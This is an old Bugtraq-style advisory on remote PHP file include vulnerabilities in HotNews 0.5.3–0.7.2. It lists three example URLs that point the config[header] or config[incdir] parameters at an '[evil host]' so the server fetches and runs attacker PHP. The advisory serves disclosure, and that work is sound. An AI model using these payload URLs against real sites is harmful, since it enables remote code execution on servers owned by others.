HotNews Multiple PHP File Include Vulnerabilities

Bugtraq ID:	9357
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 05 2004 12:00AM
Updated:	Jan 05 2004 12:00AM
Credit:	Discovery is credited to Dariusz 'Officerrr' Kolasinski.
Vulnerable:	HotNews HotNews 0.7.2 HotNews HotNews 0.7.1 HotNews HotNews 0.7 .0 HotNews HotNews 0.6.1 HotNews HotNews 0.6 .0pre HotNews HotNews 0.6 .0 HotNews HotNews 0.5.3
Not Vulnerable:

HotNews Multiple PHP File Include Vulnerabilities

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

HotNews Multiple PHP File Include Vulnerabilities

The following examples were submitted:
http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/func.inc.php3
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/hndefs.inc.php3

HotNews Multiple PHP File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

HotNews Multiple PHP File Include Vulnerabilities

References:

• HotNews Homepage (HotNews)
  
• HotNews arbitary file inclusion (Dariusz 'Officerrr' Kolasinski )